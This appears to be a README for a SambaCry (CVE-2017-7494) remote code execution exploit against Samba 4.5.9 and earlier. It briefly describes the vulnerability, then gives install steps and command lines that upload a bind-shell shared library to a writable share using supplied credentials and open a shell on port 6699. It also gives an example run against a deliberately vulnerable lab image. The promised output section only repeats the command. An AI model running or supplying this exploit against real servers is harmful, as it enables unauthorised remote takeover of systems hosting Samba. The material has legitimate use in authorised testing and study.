SambaCry RCE exploit for Samba 4.5.9

Samba is a free software re-implementation of the SMB/CIFS networking protocol. Samba provides file and print services for various Microsoft Windows clients and can integrate with a Microsoft Windows Server domain, either as a Domain Controller (DC) or as a domain member. As of version 4, it supports Active Directory and Microsoft Windows NT domains.

Samba in 4.5.9 version and before that is vulnerable to a remote code execution vulnerability named SambaCry. CVE-2017-7494 allows remote authenticated users to upload a shared library to a writable shared folder, and perform code execution attacks to take control of servers that host vulnerable Samba services.

Samba 3.x after 3.5.0 and 4.x before 4.4.14, 4.5.x before 4.5.10, and 4.6.x before 4.6.4 does not restrict the file path when using Windows named pipes, which allows remote authenticated users to upload a shared library to a writable shared folder, and execute arbitrary code via a crafted named pipe.

Exploit

Use poetry to setup the environment for this exploit

root@kitploit:~
pip3 install -r requirements.txt

After that you can run it as the following:

root@kitploit:~
./exploit -t <target> -e libbindshell-samba.so \
             -s <share> -r <location>/libbindshell-samba.so \
             -u <user> -p <password> -P 6699

For example, if you use the vulnerable image from vulnerables/cve-2017-7494 and want to run this exploit against it:

root@kitploit:~
./exploit -t <target> -e libbindshell-samba.so \
             -s data -r /data/libbindshell-samba.so \
             -u sambacry -p nosambanocry -P 6699

And you will get the following output

root@kitploit:~
./exploit -t <target> -e libbindshell-samba.so \
             -s data -r /data/libbindshell-samba.so \
             -u sambacry -p nosambanocry -P 6699

The payload for this project, along with the code was heavily inspired by opsxcq/exploit-CVE-2017-7494.
